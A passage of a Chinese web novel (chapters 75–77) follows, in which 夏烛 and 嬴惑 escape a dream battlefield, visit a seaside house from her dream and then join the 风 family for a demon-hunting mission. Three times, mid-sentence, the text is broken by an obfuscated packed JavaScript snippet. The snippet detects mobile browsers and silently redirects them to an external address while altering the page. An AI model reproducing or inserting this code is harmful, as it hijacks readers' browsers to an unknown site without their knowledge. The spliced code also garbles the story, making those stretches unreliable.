一阵沉闷的响声从地平线上蔓延过来,声音越来越大,大地似乎开始震颤,那些长戈短剑在巨大的落日下面出现,一个数量不容小觑的军队正朝二人的方向奔来,嘶吼声穿透鼓膜,像是饥饿的狼群见到了两只落单的羔羊。 夏烛来不及思索,抓起身边的嬴惑就跑,拖着他的手就像拖着一尊木讷的人偶。好处是他足够乖巧,没有出现任何的反抗,以至于让两人再次陷入困境。 往反方向跑着,她突然停了下来,另一面竟也有军队正往这边来,看身上的藤甲制式显然是不同的阵营。他们并不是羊入虎口,而是误入争端的路人甲。 夏烛拉着嬴惑开始往侧面奔跑,希望这样就能逃离两军交战的范围,但是包围圈像潮水一样迅速涌了上来,她深一脚浅一脚地陷进血肉沼泽中,根本跑不过训练有素的士兵。 只能从地面上抽出一根从中间断裂的长矛挡在她和嬴惑面前,祈祷就像上一个梦境一样,这些人根本看不见他们。 可她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109036|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希望落空,两个冲在阵前的士兵端着武器就朝二人刺来,她不得不松开嬴惑的手投入战斗,心里期望他身为不明官至少有保命的能力。 夏烛挑开身前锋利的戈,将自己手中的长矛狠狠刺进那人的胸膛,她能通过武器感受到骨骼的穿刺,这种感觉并不太好,这些人看上去似乎都是普通的人类,不是魉或者什么怪物。 她偏头躲开了另一人的攻击,寒光闪过,她蓦然睁大眼睛,铁器中央有一个被鲜血染红的图腾。 是一颗拖尾的流星。 这些士兵,难道是蚩尤的部下。 趁着撂倒对方的间隙,偏头查看嬴惑的情况,却见他仍旧魂不守舍地站在原地,头发不再精致地往后梳着而是凌乱地垂在眼前。 另一边的军队快行至他身边了,可他居然无动于衷。 夏烛生气地将手里的长矛从尸体里抽出,三步越到嬴惑身边,刚好替他挡下了一击。好在两军交汇,大部分的火力分散,她才有空质问嬴惑。 “你到底在干什么?”她撩起他挡在眼前的黑发,却看见他满脸的泪水。夏烛承认没有比看见男人哭更让人心悸的事情了,何况这人还是嬴惑,美貌面前她能原谅一切。 她不再说话,默默牵起嬴惑的手边打边退,企图慢慢离开战斗的范围。 可是那些士兵已经杀红了眼,夏烛的抵御变得吃力起来。 一把长剑从斜刺破来,剑锋擦过嬴惑的脸,反手挡剑已经来不及了,夏烛干脆徒手抓住了剑尖,鲜血涌出,顺着她的手肘往下流淌,顾前就无法顾后,身后厮杀之人脚下凌乱将她绊倒,不受控制地往前扑去,两人就这样摔到了地上。 她掌心的伤口深可见骨,愈合能力一时间竟然无法生效,刺目的鲜血晃在嬴惑面前,他终于回过神,呆呆看着压在自己身上的夏烛。 “你…为什么…”他的声音沙哑,血色全无,苍白的手哆哆嗦嗦地想要覆上夏烛的伤口,却被她挡了下来。 夏烛盯着他慢慢恢复血色嘴唇,看着它们轻微的上下嗫嚅,似乎是想说点什么,看上去也许是一句“对不起”或者别的什么。 但她停止了想象,两人之间的距离太近,连彼此的呼吸都能亲密地交换,她发现嬴惑忽然睁大眼睛,眼底充满了惊恐和莫名的愤怒紧紧盯着自己身后。 “有蟜!”他大喊一声,夏烛瞬间翻身出手,格开了背后刺来的长剑。 杀戮到了白热化阶段,两人必须马上离开这里,她换了一把更长的武器在前方开道,嬴惑也爬了起来拿起她丢下的长矛紧紧跟在身后。 等到巨大的日轮彻底沉入地平线,收走所有光辉,战场慢慢偃旗息鼓,两人也脱身来到了安全的位置。 夏烛扔掉了手里的长戈,撕下睡衣的一角胡乱缠到伤口正在快速恢复的手上。她低头做着一切,始终背对着嬴惑。 似乎过了很久,风从世界尽头吹向这片人间炼狱般的荒原,夏烛才转过身去。 她直视着嬴惑的眼睛,也许是光线暗淡的原因,无法辨别里面隐藏的任何情绪,只知道昏黄的残阳浅浅投在他的下颌上,那块皮肤被灰尘弄脏了。 “谢谢你。”他干巴巴的道谢就这样毫无铺垫地脱出,然后他们之间不再有任何的话题。 夏烛在心里叹了口气,转身朝着地平线的位置走去,太阳不见了,但天边还有霞光,跟着光走准没有错。 两个人一前一后,晚霞把地面的影子无限拉长,但总有重叠的时刻。 谁也没有问出心里的问题。 75.榴花雨声(完) 翻越过地平线后,再一次见到了本应该西沉的太阳。这个现象是不正常的,但夏烛已经没有心思去分析。 两个人朝着不会下落的夕阳漫无目的地走,一种奇怪的氛围充斥在他们之间,就好像有一层透明的气泡状薄膜将夏烛和身后的嬴惑各自笼罩又因为属性而无可避免的粘黏。 夏烛始终注视着自己脚前半米的地面,她喉咙发紧,无论再怎么吞咽也无法顺畅的呼吸,脑袋更是乱糟糟的,她把这种心慌解释成因为无法出梦产生的焦虑。 这段路程果然很久,久到身后的嬴惑已然从他的恐惧中挣脱出来,恢复成以往冷漠刻薄的状态。他长腿一迈就走到夏烛身侧,估计是认为并肩的姿态更有利于两人地位相当的说话。 “你是被古战场吓傻了吗?别多心,这只是一种合理的关心。”他忽然开口说话,这着实吓了她一跳,这条没有尽头的路走得太久,夏烛觉得自己很久没听见人声了。 但她对于嬴惑的“关心”感到莫名其妙,甚至在听到他的声音后胸口处迅速积起一团棉絮般的火气,她语气并不好地回道:“没话要说的话,可以解释解释你的执念为什么是一场战争。” 她突然停了下来,打量着被这个问题噎住的嬴惑然后满意地补充:“一场发生时间不会太近的,远古战争。” 诚然,他的反应太明显,细节处又透露出诡异的巧合,夏烛没有办法欺骗自己,刚刚经历的就是身边这人的噩梦。 嬴惑哑口无言,说实话对于这个梦他没必要解释什么,之所以心绪不宁只是脑海中一直回想夏烛徒手为他挡下的那一剑,伤口触目惊心,一定很疼。 所以,她为什么要救自己?他对夏烛来说不过是一个刚熟悉不久的,陌生人?甚至她的朋友们对他的恶意大到想忽略都不行。 一个正常人真的会舍命拯救另一个对自己来说什么都不算的人吗? 他实在无法理解。 夏烛逆着光站在他对面,似乎还在等待一个合理的解释。一阵带着潮湿气味的风从她背后吹来,嬴惑抬起头,猝不及防对上夏烛在暗色中亮晶晶的眼睛,她的轮廓在逆光中变得比平常更柔和一些,但无疑坚韧,她身上总有种生生不息的顽强力量,这是嬴惑认为最不可思议的一点。 一个人类?一个再普通不过的人类为什么总是在散发让他不自觉想要追逐的温度。他觉得这是一件可怕的事情,十分可怕。会让他原本执着坚定的内心发生摇晃。 有什么东西在夏烛脑后闪烁了一下,嬴惑被打乱思维,偏头从她的耳尖上看过去。 夏烛一直在等他的答复,这人一直不说话就算了,突然露出一个意味不明的笑是怎么回事。 嬴惑朝旁边走了一步,身体从刚刚的弱势姿态慢慢舒展,两手又悠闲地放进兜里,风把他的头发轻轻吹起,微微扬起下巴对着夏烛身后。 “没错,刚刚确实是我的噩梦,不过现在出现了更有趣的东西,我们不妨先观赏观赏。” 夏烛困惑地顺着他的视线转身,原本是一条望不到尽头的大路,暖色的落日下面,此刻却铺开了一片波光粼粼的海面。 浮光跳进她的眼眶,迫使瞳孔微微放大,大海宁静祥和,闪烁着金色的光粒,一座被落日染成金红色的小楼安静地伫立在海边,面朝着无垠和广阔。 “我承认,刚刚是我的梦,要是我猜的没错,现在这里的景象,应该跟你有关吧?”嬴惑的语气难掩兴奋,甚至一度突破了安全距离,贴近夏烛弯腰靠在她耳边得意洋洋地说着,不用去看,夏烛都能想象他的表情,嘴角的弧度。 “好了。”嬴惑直起身体,从夏烛身边径直越过,斜斜地走下山坡朝着那栋小楼头也不回,“我已经迫不及待想一探究竟了。”他幽幽地开口。 夏烛怔怔地盯着他的背影,落日不留余地地照耀着这片土地,嬴惑的身体因而变得毛绒绒,就像一有团柔柔的哑火围绕在身边。 她的执念吗?连她自己都好奇。 她拨开被海风吹乱的头发,朝嬴惑追了上去。 脚下是柔软细腻的白沙,这栋只有两层的小楼紧紧贴在潮线上,门前摆着两把躺椅,种着一大盆无尽夏,檐下吊着一些蕨类植物,都被夕阳染上了金色,在海风中颤巍巍地摇动。嬴惑根本毫无观赏的心,毫不客气地推开门就往里走,夏烛紧紧跟在他身后。 这栋小楼的内部陈设深得夏烛的心,无论是颜色还是摆件她居然都十分喜欢,窗户下坠着亮晶晶的风铃,客厅里堆积着柔软的手工毯,还有各种各样的蒲团坐垫,她经过这里时,甚至伸出手指数了数,1、2、3、4…风枫她们全都来也能坐下。 嬴惑在一楼迅速转了转,似乎没有什么值得他兴奋的发现,噔噔噔地踩着木质的楼梯上了楼,响声将沉浸在幻想里的夏烛拉了回来,她有些不好意思地低头傻笑,然后赶紧跟了上去。 二楼是卧室,往外延伸出一个小小的露台,露台上种满各种各样的花朵和绿植,粉白色的金鱼草开得正好一串串饱满的花朵缀在枝头上,墙角还有百合和大丽,在落日下镶了一圈金边,又一串亮晶晶的风铃垂在檐下,发出叮叮的悠扬的声音,某个瞬间会刚好契合上潮声。 从这里看出去,整个人就像被大海包围着,海面上亮起十字星,闪闪发光晃着夏烛的眼睛。她呆呆地站在露台边上看着大海,连吹来的风都变成了丝丝缕缕的柔。 “就这?”嬴惑巡视了一圈连丁点儿隐秘的发现都没有,他双手抱在胸前倚在露台边上,“一个面朝大海的破房子?除了我们俩什么都没有?” 风铃叮叮当当地响起来,海面上的波光被吹得零碎,夏烛眨眨眼睛。 “你说什么?”她问嬴惑。 “我说,就这破房子,除了我们俩什么有用的东西都没有。” 嬴惑的声音随着铃响传进耳朵,夏烛忽然低下头,紧紧盯着自己绞在一起的手,她再一次感受到鼻息变得滚烫。 “你怎么了?”嬴惑被她突如其来的动作吓了一跳,以为专属于夏烛的恐惧或者别的什么情绪出现了,他假装关心其实好奇得不行,伸着脑袋过来,企图弯下腰去看清夏烛的表情。 “没什么!”她猛地抬起头来,狠狠撞在了嬴惑的下巴上,听他发出一声尖利的惨叫,但是头也不回地跑进房间。 咚咚咚地跑下楼梯穿过无比温馨的客厅,一口气跑到了外面的沙滩上,门口的风铃被她撞到东倒西歪,发出一串混乱的响声。 她认为自己对于执念的反应起效了,那种感觉类似高烧。神经紧绷且兴奋,呼吸有些急促,胸口的位置酸酸痒痒,大脑更是一片浆糊,根本无法思考。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113376|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她盯着闪动着金黄色光斑的海面,觉得自己的眼睛似乎被灼伤,隐隐有种想要流泪的冲动,仿佛那些十字形的光点随着海浪全涌进了眼眶,割伤的后果就是流下点眼泪。 耳边是海水平和的起伏声,一下又一下,将落日尽头的熔金往海岸线上,往她脚下推来,那是遥远的未知的声音,却令她不受控制地心跳加速,体温升高。 她开始害怕,觉得自己可能出现了和嬴惑一样的症状,否则无法解释她身上前所未有的情绪变化和感受,她揉揉眼睛试图让自己清醒一些,不能被梦境裹挟左右,却揉出一滴滚烫的眼泪砸在手背上。 这个地方除了无边无际的大海,天地之间空空荡荡,可为什么她的心脏却像被塞进了什么。那种感觉就像是吹气球,深呼吸提起一口气,往软趴趴的气球里狠狠吹上一口,直到嘴巴发酸,大脑缺氧,最后得到一只圆滚滚轻飘飘的饱满气球。 此时此刻,她的心脏被什么东西吹得鼓起来了。 海浪声中钻进一阵破碎的风铃,身后的沙地陷了进去。 “你到底怎么…”嬴惑没好气的质问还没说出口,夏烛猛地转过身面对着他。 “我说了没什么!”她一定要表现的镇定,一定不能在嬴惑面前变成和他一样的害怕噩梦的胆小鬼。 她摆动着手臂,雄赳赳气昂昂地从他身边走过,留下嬴惑一脸呆滞地站在原地,刚刚被撞的下巴还有些发酸。 眼睛附近亮晶晶的,她刚刚是哭了吗?嬴惑觉得自己被撞坏了脑袋,一股莫名其妙的温度迅速升起最终停留在他脸上。 坏了,真撞坏了。 他懊恼地将自己的头发全部揉乱。 * 两人懒散地躺进门前的椅子中,对于离开梦境毫无头绪,眼见圆滚滚的太阳一点点沉入大海,星光出现在了头顶,没有谁打算先开口说说话。 浪潮的声音变得沉闷且有规律,晴朗的夜空又高又远,星子遥不可及碎钻一般散满天幕,嬴惑惊恐地发现自己正在享受这种状态,他神经质地从躺椅里直起身体,试图把四肢的安逸和柔软震慑下去。 “喂,你想好出去的方法了吗?” 他歪过头看向另一张躺椅中的夏烛,却发现她将身体缩成一团,面容安静,脸颊上晕出一些暗红色,显然已经睡着了。 他发现夏烛的五官很淡,排列组合起来却有一种相得益彰的好看,和她这个人完全一致,看上去柔柔弱弱却能一拳打十个。 嬴惑觉得自己要是再在这里多停留些时间,思考能力就会退化到刚出生那会儿。否则怎么会不花心思去解决眼前的问题反而晕眩起来。 他盯着夏烛撕裂的,露出一截截线头的睡衣衣摆,然后看向她垂到一边的受伤的手。 她的手骨肉匀称,手指修长,手腕处的线条利落流畅会让人莫名觉得心安,他回想起夏烛握着短剑的样子,经脉会因为用力而突出。 他心烦意乱的收回视线,身体往后靠进椅背,无意识地转动着自己手上的戒指,或者指尖一下一下地敲击躺椅的扶手。 在试图回到以往绝对冷静状态中时,嬴惑需要花费很多的精力去专注到某件事上,可今天晚上,也许海浪声太过于治愈,星光下面利于放松,他竟然第一次在还有另一人存在的地方睡着了。 76.春寒 夏烛醒来的时候发现她已经离开了梦境,正躺在宿舍的床上。 她盯着头顶的床板看了好一会儿,直到视线完全恢复,看清灰蓝色的光线充满整个房间。然后忽然从床上坐起,在房间内巡视了一圈,最终看到坐在她书桌前,悠悠闲闲翘着腿的嬴惑。 两个人在清晨的房间中对视了几秒,窗帘从嬴惑身后半开的窗户缝里吹进来,夏烛收回视线重新缩回被窝中。 “私闯民宅,是犯法的。”她把被子拉到嘴巴上方,声音闷闷地从里面传来。 “我可不是用闯的,是大大方方从窗户走进来的,原本是要跟你打声招呼,可惜你睡得正香。” 面瘫如夏烛,都忍不住在被子里翻了个白眼。 “你一定要待在这里吗?”她需要确认一下。 “准确来说,是一定要跟你待在一起。”说完嬴惑似乎思考了两秒,又快速补充道,“如果我没记错的话,是你说的要收留我这个无家可归之人,我以为你会是个信守承诺的…” 嬴惑越说声音越小,眼睁睁看着夏烛从床上下来,甩着手气势汹汹地走到他面前,居高临下直视他的双眼。 “要跟着我可以,但你必须先答应我两个条件。” 她的头发垂了下来,有几丝扫在嬴惑脸上,轻轻地发痒。 “好..好啊。” “我确实说了同意你留在队伍的话,不管出于什么原因,确实不能出尔反尔,所以…”她将上半身压低了一些,迫使嬴惑不会东张西望逃避她的眼神。 “条件一,再过几天我就能办好休学回风家去,在此期间你不能跟着我,并且我要先向风枫征求意见,她同意你进入风家领地你才能跟着我进去。” “条件二,”她停顿了一下,深呼了一口气,“我不知道你跟着我的目的究竟是什么,但绝不会让你伤害到我的朋友,还有…还有无论如何我都只是夏烛,不是你认识的…某个人。” “以上就是我的两个条件,你听明白了吗?” 她一口气说了一大堆,不知道嬴惑究竟听进去了多少,他只是茫然地睁着眼睛,夏烛能从那双银灰色的眼睛里看见自己过于靠近的脸。 “明白了。” 嬴惑垂下眼睛,阻挡了她继续探究的眼神,他微微低着头,似乎在思考这两个条件的合理性。 夏烛直起身子,不再看他,回到床边拿上换洗的衣服,一言不发地进了卫生间。留下嬴惑独自一人陷进椅背,低头转动着自己手上的那枚戒指。 “伤害?”他轻轻念着这两个字。 等到夏烛洗完澡从里面出来的时候,房间已经重回之前的那种空荡,窗帘像一只孤单的手朝着微亮的天空努力挥着。 接下来的几天,夏烛收拾好了宿舍里的东西,拿到了自己的休学证明,拖着仅有的一只大箱子回了一趟家。 家里还是老样子,但夏烛似乎不再病态地眷恋这里的,她心态平和地将里里外外打扫了一遍,扫除了不在的这些日子横梁和角落里积下的灰尘和结出的蛛网。把房间里的窗帘收了下来放进小时候洗过澡的铝盆中加上洗衣粉搓了搓,最后晒到院子里。 又提着两只瘦鸡敲开了隔壁婶子的院门,最后带着一大包推脱不掉的沙琪玛回到了家。 夜晚,她躺在这张睡了十八年的床上,从有记忆起开始回想,爷爷是如何一点一滴教她长大,自己又是怎么从书中浅显地认识世界。到后面她忍不住畅想起未来,清晰可见的未来中,她的身边将会有一群生死之交的朋友,她们会一起见识更广阔的天地。 也许那间面朝大海种满鲜花,挂着亮晶晶风铃的屋子也能实现。 想到那栋海边的小楼,就不可避免地想起另一个人。 然后她就在不知不觉中睡着了。 第二天夏烛起了个大早,去镇上的香火铺买了些东西带到了爷爷的坟前。她哼着小调将周围的枯枝败叶清扫了一些,别的青草野花就任由它们生长。 她坐在爷爷的墓碑前跟他说了很多很多的话,把这段时间结识到的朋友都介绍给了爷爷,让他不用担心自己,现在的夏烛今非昔比,已经很会跟人相处了。 “还有一个人…”她摸着衣服内兜里的艾草香包,声音变得越来越轻。 “一个奇怪的人。”实在找不出别的形容,她只能用奇怪来解释。 夏烛告诉爷爷,那个奇怪的人长得像天上的月亮一样好看,可是说话刻薄,性格也不讨喜,莫名其妙的,她却认为他不是一个很坏的人。 他是一个富有的,也许有些地位的人,身边有很多威风凛凛的妖神,和奉承谄媚的族人,可是不知道为什么,夏烛能从他身上感受到和自己一样的情绪。 在人群越是密集的时候,那个人就越是悲伤。 “爷爷,我是妈妈十月怀胎生下来的,是您亲手养大的对吧?我是夏烛,不是别的什么人…” 直到太阳快要落山,夏烛才拖着行李箱走出了村子来到了镇上的车站。 春寒料峭,她裹紧身上的外套,站在车站门口等待最后一班车开出来,手里捧着一个热气腾腾的烤红薯,走了半天路才吃上第一口热食,水蒸气糊上她的镜片,不得已腾出一只手,用手指刮掉挡眼的雾气。 一辆车开进她刚刚擦亮的视野中。 她从黑色的车窗反光上看见自己缩成一团的样子,眨了眨眼睛,往身后的候车点指示牌看了一眼,犹豫了两秒钟,她还是将烤红薯重新包起来揣进兜里,拖上行李箱往旁边挪。 “又想自己走是吧?” 车窗缓缓降了下去,露出一张阴郁的脸,线条紧绷,浅色的眼睛带着不满的情绪直勾勾地盯着正在龟速挪动的夏烛。 “没想自己走,只是不知道怎么联系你。”她小声的说着,虽然确实不知道上哪儿找到嬴惑,但还是莫名有些心虚。 “好了,我有自知之明,现在自己出现在这里了,你还在等什么?不上车吗?夏烛同学。”他把她的名字念地抑扬顿挫。 “可是我已经买了车票了。”她将那张薄薄的票根举到眼前。 “得了吧,坐你那一躺又躺轮班换的破车,不知道什么时候才能到树山。你就不想快点见到风家那几个人吗?” 夏烛认真想了想,然后点了点头,把行李拖到门边。 “你等等我,很快就回来。”说完就往车站里跑。 嬴惑又降下他这边的车窗,把手肘支在窗沿上,忽然觉得车里的温度特别高,闷闷让他呼吸都变得困难。 傍晚的春风带着凉气吹在他皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122809|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤上,那种微微刺痛的感觉刚刚好。 夏烛去了一趟很快又回来,闷闷不乐地坐在副驾驶上。 “怎么,他们不给你退车票?”嬴惑嘲笑着她,发动了汽车沿着镇上这条窄窄的小路行驶。 “嗯。”夏烛心情有些低落,车票在发车前半小时内不能退换,这就意味着她浪费掉了几十块钱。 能买好几根烤红薯了。 “别垂头丧气的,要不我补偿你点什么?” “啊?可是你又没欠我…”夏烛觉得有钱人或许都这样,一言不合就施舍起来。 “这不是多谢你收留我。”他腾出一只手往车后座指了指,然后又迅速摆正身体,紧紧盯着前方,小镇上人多路也窄,确实不太好开。 但他尽量保持镇定,不露出一点破绽被夏烛发现。 他才不会告诉她,车是托人搞来的,驾驶证也是假的。(不提倡,很禁止,虚构情节) 没错,这是他第一次开车。 嬴惑想到这点又突然有点得意,属于是天赋异禀了,上上手练个一两把就能掌握。 夏烛疑惑地从后座上拿回一个方形的小盒子,等看清上面的英文,她险些惊呼。 “智能手机!”她目光闪烁,举起手机盒,鼻子里喷出热气。不过很快又冷静下来,没注意到身边的嬴惑悄悄勾起了嘴角。 “太贵重了我不能要。” “别多想,我只是怕下次你又用联系不上这种拙劣的借口试图甩掉我。”他没听到夏烛说话,又补上一句,“何况你救了我一命。” 夏烛思考了很久,然后做出了决定。 “谢谢,等我有钱了…” “打住,那不知道等到什么时候去了。” 夏烛没再说话,抿起嘴角,开心得忍不住哼点乡村小调。 “对了,同意了。” “什么?”嬴惑专注地看着路况,一时没有反应过来。 “小枫同意了,让你跟着我回风家。”她解释了一遍。 “哦。” 凉凉的风从窗户两边往车里吹,混着一股泥土和雾气的味道,努力吹散车内无法控制升起的温度。 夏烛自顾自地哼着歌,抱着没有拆封的手机盒,张望着车窗外的风景。 嬴惑努力让自己只看着眼前的路,但耳朵却不自觉地将她哼出的词听了进去。 什么“青山那个绿水,多好看。” 他从来没听过这样的歌,却不自觉地认同。 “手机给你是拿来用的。”不是像什么宝贝一样抱着看,他忍不住出声提醒。 “我知道。”虽然这么说,但她还是抱着。 夏烛有时候也倔得像头牛。 她有自己的考量,一切东西都是得到的那一秒最开心,开心对她来说太难得了。她得趁机多享受享受。 两人一路向东,路上偶尔停在服务区内休息,嬴惑几乎不睡觉,夏烛很担心,主要是担心自己的生命安全,可她没有驾照没办法分忧。 只能在热水区接泡面的时候,往嬴惑那碗里多加一个蛋。却被那人不知好歹地用筷子戳了起来,晃在夏烛眼前,用一种无比欠揍的语气问她这是人吃的吗? 气得夏烛在接下来的路程里都不再跟他讲话。 77.任务地图 夏烛的右脚还没跨出车门,一个火焰色的炮弹就以不容拒绝的速度撞进了她的怀里。 “阿烛!俺可想死你了!俺就知道你一定会回来的!” 她吸吸鼻子,能够闻到属于风枫身上的温暖的草木味道,捧着那颗暗红色的毛绒绒的脑袋,夏烛小声但坚定地回应她,“我也很想你的。” 虽然才分别了半个月,大家却好像有很多年没见了一样。风枫早早带着一群人等在田埂边上,哥哥小愁,还有嬴犽一个不差。 姬无愁将一个深色的小木碗端到夏烛面前,里面装着浅紫色飘着花瓣的液体。 “欢迎回来,这是风眠做的,他说得让你喝下的。” 夏烛接过木碗凑近闻了闻,一股清甜的茶香顺着鼻腔钻进了大脑,她立马觉得赶路几天的疲倦全都烟消云散。 “这是十二种不同时令的水果做成的无尘果茶,远行归家的太皞族人都是以一碗果茶接风洗尘的。水果都是小枫和小愁一起去摘的,你得一口气喝光哦。”风眠眯着眼睛站在风枫身后,巧妙的身位刚好可以把尾随妹妹的某只小鸟给隔开。他不动声色地看了一眼另一边靠着车门事不关己的嬴惑,轻轻叹了口气。 这么多年过去了,风家还是第一次接待这么多外族的客人,说好的不知有汉,无论魏晋呢。 夏烛抱着木碗咕嘟咕嘟地牛饮,还不忘从木碗边缘偷偷瞅着站在人群外围的嬴惑。 风枫将空碗从她手上接过反手给了身后的风眠,一改嬉皮笑脸的表情,神色严肃地按着她的肩膀。 “阿烛既然你回来了,并且短期内都不会离开,那么俺们未命名队伍1再次集结必须得行动起来了!” “行动?是有什么事情发生吗?”离开神血世界半个月,她没有关于这里的任何消息。 小枫猛地看向她身后的嬴某人,恶狠狠地说道:“罪魁祸首就在那边呢,让俺们一起把他请出来怎么样!” 夏烛顺着她的视线看了一眼满脸不屑的嬴惑,他抱着手臂冷冷地回对众人的视线。 “看我干什么?这半个月我可哪儿也没去,就待在…” 夏烛赶紧掰过小枫的脑袋,“是妖神吗?预言实现了?” 她的手劲儿极大,晃得风枫七晕八素愣愣地点头。 “还是我来说吧。”风眠把玩着手里的空碗,“九天大会已向所有家族宣布,妖神霍乱四起。预言更新了版本,意指这些挣脱束缚不受管控的妖神最终会导致一场天灾的降临,到时候人类也许会濒临灭绝。” “所以,大会发布了捉妖任务,希望非残体不明官可以抽出时间,组队前往各地,就地诛杀作恶的妖神。” 夏烛认真听着风眠的话,她着实没想到预言会这么快一一变成现实,而且是由九天大会亲自下令指派不明官诛杀妖神,恐怕事实会比表面上看起来更严重。 “各地都有妖神出没残害人类的消息,它们已经不再躲藏了。”姬无愁说。 “没错。”风眠点点头,“没有人知道主神到底创造了多少妖神,但可以确定的是,归顺神血家族的只占极少数,从前也许还有处于中立的妖神,可是现在预言一出,这条分界线对面的敌人只多不少。” 他顿了顿,和夏烛对上了视线。 “据我所知,已经有不明官在诛杀妖神的道路上牺牲了。而她们传回的珍贵信息表明,妖神之所以群起效尤,目的就是夺取天生相石。” 夏烛一愣,她早就怀疑,能和人类和平共处千万年的妖神,为什么说乱就乱,原来是为了争夺天生相。 她心里隐隐觉得有什么不对的地方,这个预言出现的实在太巧,神的指引到底是示警还是推波助澜。历史中的任何一场起义叛乱,一定先有一个披上黄绸,喊出口号的人。 那个人会是谁呢? 她不得不看向嬴惑。 车身将他隔绝在人群之外,就像一条再明显不过的分界线。 “阿烛。”风眠忽然叫她的名字,“我说这些,是想听听你的想法,这件事情绝不是这么简单的,也比入梦除魉危险得多,要知道,在梦中死去的不明官近百年内屈指可数。你想好要淌这趟浑水了吗?别忘了你的最初目的。” 她当然没有忘记决定加入不明官是为了什么,不过是寻找自己的身世。可在遇见嬴惑之后,她与另一部分的自己几乎就是一步之遥,也许伸出手就能抓住,可她突然不想去追究了,说是退缩也好逃避也罢,她告诉自己,夏烛的人生已经找到了更为重要的事情。 她看着站在自己面前的几人。 “你们呢?你们有想好下一步该做什么吗?” 姬无愁率先点点头,“在你回来之前,我们已经商量过这件事了。” “那我没什么好犹豫的,我已经休学了。”她拍拍自己的行李箱,“总不能既丢了文凭,又丢了工作。” 风枫欢呼一声,扑到夏烛身上,像一只野猴挂着她的脖子。 “俺就说!阿烛是不会抛弃未命名队伍1的!” “对了,未命名队伍还有一个新人加入。”夏烛说。 “是他吧!不用介绍,俺已经快被他身上散发的恶人气息给熏吐了!”小枫斜斜睨了一眼嬴惑。 夏烛摇摇头,“不止是他,还有姬阴秀。”她觉得自己有必要邀请姬阴秀前来参加行动会议。 几个巴掌声响起,嬴惑拍着手绕到车对面站在夏烛身边。 “很感人。不过我得提醒一下各位,再聊下去天都黑了,非要站在家门口探讨大事吗?” “也对,时间不早了,回去再细说吧。”风眠伸手将妹妹从夏烛身上扯了下来。 经过嬴惑身边的时候,风枫还是忍不住对着他做了一个奇丑无比的鬼脸。 “是你的家吗?你就回 !” 嬴惑只是挑挑眉,在逐渐昏暗的光线中截获到夏烛视线,似乎是在告诉她,他可是严格遵守着约定,决不做出任何“伤害”风枫等人的事情。 包括回嘴。 一行人沿着田埂走在熟悉的回家路上,对于嬴惑这类讨人厌的角色,风枫做出的妥协不过是让他蒙着眼睛进入风家领地。 于是她不知道从哪里摸出来一根藤条,放在手心里搓巴搓巴变成了宽宽的一截,笑嘻嘻地给嬴惑系上,出于绝对的安全考虑,在他脑后打了个死结。 然后夏烛就自动成了那个督促并负责带路的人,将另一根藤条交到他手上,牵着他一言不发地落在队伍最后面。 一爬出坑,夏烛就再次被一个温暖的怀抱包围,风叶雷厉风行大手一挥让族中年轻的男孩收拾出隔壁的一栋空房子,给嬴犽嬴惑以及还在路上的姬阴秀暂住。 取下眼罩后的嬴惑始终黑着个脸,谁也不理地站在几米外,不过倒也配合风叶的安排。而风叶对于嬴惑的出现没有多说什么,只是笑眯眯地盯着他的脸,问出一句让嬴惑冷汗直冒的话。 “这个小伙子有些眼熟啊,我是不是在哪里见过你?” 最后还是被风枫拉走,反复叮嘱她,“老妈,少跟他讲话!” 大家嘻嘻哈哈热热闹闹地挤在风枫家中吃了一顿老姜做的丰盛晚饭。夏烛捧着堆成山的饭碗傻乐,思考归家和离开为什么总是在香喷喷的饭桌上,而落日一般迎接远行回来的旅人,朝霞通常送别她们。 晚饭后,风叶以年轻人有年轻人的场所为由,将他们赶去了隔壁的房子。而风眠和嬴犽因为洗碗打扫卫生姗姗来迟,怀里抱着一卷巨型羊皮纸。 至于嬴惑为什么早早出现在了隔壁的大厅中,是因为他表示自己决不会动手做家务活。在另外两人还在辛苦打扫的时候,已经被风枫炮弹般地输出了很久,从人格和道德方面将他贬低地不成人形。 而嬴惑根本不在意风枫骂他的那些,翘着腿坐在沙发上贱兮兮地闭目养神上了。 直到夏烛实在看不过去,从另一边的沙发上站起来,走到嬴惑面前。他感受到一种无形的压力笼罩在身上,懵懵懂懂地睁开眼睛,对上夏烛无比严肃的表情。 “干…干嘛?”他结结巴巴地问出口就立马后悔了,想不通自己在这个女人面前为什么总是低一头。 “你不应该这样的。”夏烛义正严辞。 “我做什么了我。” “风叶阿姨热情招待了你,姜叔叔做了那么多好吃的,你非但没有道谢,还拒绝帮忙做家务。这里没有谁应该为你做这些,这是不对的嬴惑。” 